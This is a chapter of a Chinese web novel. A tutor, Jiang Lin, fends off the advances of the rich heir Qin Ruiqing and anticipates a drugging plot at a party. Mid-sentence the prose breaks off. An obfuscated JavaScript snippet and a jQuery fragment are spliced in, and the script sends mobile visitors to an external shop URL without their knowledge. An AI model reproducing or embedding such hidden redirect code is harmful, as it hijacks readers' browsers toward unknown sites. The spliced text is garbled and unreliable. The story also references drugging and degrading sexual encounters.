4、
偌大的客厅内水晶吊灯华光异彩,落在人眼中仿佛阳光般夺目,头顶是一幅精美绝伦的油画,欧式宫廷风的建筑。
秦锐清动作慵懒地靠在沙发上,手腕上黑色的运动手表,眉眼冷沉,气势凌厉,仿佛宫廷中的帝王。
江林心中无波无澜,动作却慢吞吞地,坐在柔软的沙发上,让刚刚在地毯上坐麻的屁股得到了缓解。
“秦锐清。”江林垂着眼,低声喊他的名字。
明明是很平缓地语调,听到秦锐清耳中,却格外轻柔,像撒娇似的。
“我以为你不认识我呢。”秦锐清唇角扯着冰冷的笑,指尖烟雾缭绕,拿出烟盒,“抽烟吗?”
江林摇头:“不抽。”
但他的拒绝秦锐清像是没听见,依旧维持着向他展开烟盒的动作,动作带着不容拒绝的强势。
江林有些受不了这些不知道拒绝为何物的天龙人了。
他抿了抿唇,憋红了脸,抽出一根细长的烟,抬眼看向秦锐清,那双圆润柔亮的杏眼,直瞪瞪看着他。
秦锐清收起烟盒,牙齿咬着烟,眼底几不可察的滑过一丝满意的笑,但下一瞬,骤然靠近的脸,让他的所有动作和表情都下意识地停下。
江林正凑在他脸侧,认真地用自己的烟头去蹭秦锐清燃烧的火星,眉眼轻轻蹙着,显得极为认真。
从秦锐清的角度看,能瞧见江林浓密笔直的睫毛,隔着眼镜扫下一片浓密的阴影,他的睫毛还在轻颤,似乎很紧张,雪白的肌肤没有半点瑕疵,脸颊粉红一片,近在咫尺的呼吸除了能闻见烟味还有一股莫名其妙的香味。
秦锐清回过神来,眼神瞬间晦暗不明,那双凤眼丝毫不避讳地打量着江林,他的动作很紧张,细长的香烟被他含在粉润的唇瓣间,疯狂地抖动着。
江林在某一瞬间抬眸,两人的视线在空气中相撞,一个像是慌乱的小鹿,一个则是固执维持人设的冰山。
他猛地拉开距离,刚刚抖动着蹭上的火星瞬间又熄灭了。
秦锐清一本正经地看着他,冷静地随手将烟碾灭,冷声问:“你在干什么?勾引我吗?”
“不是......”江林矢口否认,双眼无辜:“点烟,不都是这样点的吗?”
“我看电视剧都这样。”
秦锐清却不会这么轻易被他糊弄过去,眼神带着轻慢之色,在他眼中,江林根本不是能够和他相提并论的人,更像是一只蚂蚁。
能够一个手指碾死的蚂蚁。
现在这只小蚂蚁在和他玩手段,这让我觉得鄙夷又心安理得的认为江林的讨好是应该的。
“你这种低劣的手段......我十岁的时候就见过了。”秦锐清身为大家族的继承人,从小受到的诱惑数不胜数,自然不可能沦陷在江林的低劣手段下。
江林露在头发外面的耳根都红透了,像是被戳穿小心思的老实人,最后低声交代:“我不会抽烟,都是学的电视里的......”
秦锐清还想说什么,便见秦朗端着蛋糕从厨房蹦蹦跳跳地走了出来。
秦锐清便收回了更难听的话:“夹紧你的狐狸尾巴。”
江林似有不忿,小声嘟囔着还嘴:“我没有狐狸尾巴。”
秦锐清眼尾扫过去,江林已经起身朝着茶几走去,像是没看见他的警告,留给他一个高挑清瘦的背影。
秦朗像是换了个人,在他霸道哥哥面前毕恭毕敬地说:“老师,吃蛋糕吧。”
晚饭的时候,江林被留下来和这兄弟俩吃饭。
这原本就是家教里面包含的福利。
晚餐极为丰盛,天上飞的,海里游的,地上爬的,像是满汉全席似的摆了一大桌,保守估计得有三十多道菜。
吃饭的时候,只有细微的咀嚼声,秦朗和哥哥的感情几乎为零,只是充满畏惧,而江林自然也跟这兄弟俩毫无共同语言,专心吃饭。
秦锐清已经将江林和想要勾引他的男人划上了等号,自己都没有察觉到自己的视线时不时落在他身上。
见江林目不斜视,双眼只有饭菜,还不以为然地觉得他装得够好的。
江林肚子实在撑不下了,才堪堪停下来,前些日子一直都是一些蔬菜,清汤寡水的,他自己都要成为一株小白菜了。
“孟老师,我让司机送你回学校吧。”管家阿姨贴心安排。
秦锐清仿佛随口一说:“我带着他。”
管家阿姨惊讶于大少爷的热心,微笑说道:“好的,麻烦少爷了。”
秦朗则是满脸兴奋,秦锐清终于要走了!!
江林没有拒绝的权利,也不想拒绝,坐地铁需要一个多小时,专车接送的话,只需要半个小时就能到达学校宿舍。
在秦锐清的库里南里,司机在前面开车,他和秦锐清坐在后面,头顶着星空,江林背着黑白色的书包,里面还有今天的专业课书本和笔记。
秦锐清等着江林主动搭话,结果发现他两眼放空,似乎在发呆,双目无神。江林正在发饭晕,根本不知道秦锐清的期待。
直到发现路线不对,才转头看向正直直盯着他,以怀疑目光看着他的秦锐清,轻声道:“这不是去学校的路。”
秦锐清冷淡道:“我没有说过要带你去学校。”
不知道怎么的,秦锐清又闻到了那股似有若无的香味,幽香阵阵,带着钩子似的,馋得人不行,又像是羽毛,挠着人心间发麻。
江林怔了怔,哦了一声,不说话了。
瞧见他的反应,秦锐清忍不住蹙眉,靠在背倚上,低声问:“你不想知道我要带你去哪吗?”
江林就乖顺地问:“你要带我去哪?”
秦锐清一噎,调整了一下情绪,才用冰冷的语气说道:“李炎诞知道你在我家教,让我带你去玩儿。”
江林:“哦。”
秦锐清:“......”
江林刚刚在记忆寻找剧情,这段时间,他将学校的部门和社团都退掉了,任何的人邀约都拒绝。
崔嘉树多次邀请,江林都委婉拒绝。
在原剧情中,原主因为是从小县城出来的,根本没有见识过上层社会的纸醉金迷,虽然骨子里很瞧不起这些富二代,但内心自卑,又拒绝不了他们的邀请,逐渐被富贵迷住了双眼。
他也起了想要穿名牌、开豪车、混进上流的心思,不过因为没钱,只能作罢。
但后来原主和f3搞在一起之后,就沉溺在众人艳羡的目光中,再也找不到自我。
直到被坠下云端才幡然醒悟。
这场聚会根据时间线对照,应该是某个富二代的生日,然后原主盛装出席,明明格格不入,又要穿着假货强行融入,显得格外可笑。
需要画重点的是——下药的剧情虽迟但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732762|145076||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
到。
李炎诞第一次和原主成事,还是原主跪在地上求来的,而李炎诞只是可怜他,才施舍他一点眼神。
虽然第二天满地的byt,但李炎诞依旧嘲讽原主索然无味,是个呆木头,原主还因此高烧住院,住了一星期。
李炎诞都没来看过他一眼。
江林默默呼出一口,感叹着就算刻意躲避再多的剧情,当某些劲爆剧情出现的时候,他想躲都躲不开。
江林做过数不清的任务,几乎什么困难都遇见过,但像这种让他躺平雌伏男人身下,他不可能做到。
这是他的底线。
偏偏像这种无序的世界,他还真是第一次遇见,莫名其妙地相互吸引,毫无逻辑地交集,像是推动着他打破底线。
江林大概知道是谁这么不要脸了。
秦锐清见江林这么不识好歹,他也不想再多言,等着江林来求他的一天。
车内持续降低的气压,让司机搓了搓手臂上的鸡皮疙瘩,从后视镜看去,便见他家少爷冷着一张脸,像是被嫌弃的怨妇,而旁边坐着的少年正乖巧地坐在椅子上,蹙着眉,不太开心,脸上也带着纠结的神色。
相比仿佛成熟男人的少爷,旁边的少年更像是白嫩又纯洁的高中生......
.
车在郊外的别墅区停下,名车云集,正在有序地驶入,秦锐清扫了一眼像是吓傻了的江林,勉为其难地说道:“如果不想遇见麻烦,可以跟在我身后。”
“但是不要动什么鬼点子。”
江林努了努嘴,心想跟在他们身后才是最危险,都在惦记他的屁股,但脸上乖巧一笑:“好的,谢谢你。”
秦锐清被他月牙似的眼晃了一下,一瞬而过的表情,像个乖顺的小白兔,两个无形的兔耳朵都在空中晃荡着。
但是下车没几分钟,秦锐清再去找江林,却连影子都没见着了。
江林躲在不起眼的角落查看手机,这边郊区,车打不到,又没地铁和公交,一天只有上午和中午两趟大巴能够回市区。
所以只有两个选择,第一,蹭车,第二,在郊区酒店过夜。
蹭车有风险,保臀需谨慎。
这边地产都是被有钱的富豪买了,建造了一个富二代们聚会的场所,酒店很多房间,不愁没得住。
还有帐篷,泳池,香槟派对,穿着华丽的男女,而裹紧小卫衣小心挪动的江林,像是丑小鸭进入了白天鹅们的领地。
江林找到一个端着酒的服务生,说出一套不小心和朋友走丢的话术,成功让人领着自己找到了一个空房间。
到了私密空间之后,江林才歇了一口气,房间很宽敞,分为客厅,卧室。
卧室里还有大浴缸,落地窗大阳台。
江林打开窗将房间内许久没住人而产生的陈旧潮湿味道吹散了些,他拿出手机,看了一下时间,已经十点多。
楼下的派对才刚刚开始。
只要他躲在房间里,应该不至于再次中药。
像这种酒店的保密性工作做得很好,一间房间只有一张房卡,确保不会有人打扰到尊贵客人的休息......
正悠闲靠在沙发上看笔记的江林,被巨大的摔门惊了一瞬,抬头朝着门口看去。
他和站在门口脸颊潮红,双目猩红,状态明显不对劲的李炎诞对视一眼,心中瞬间骂了一句脏话。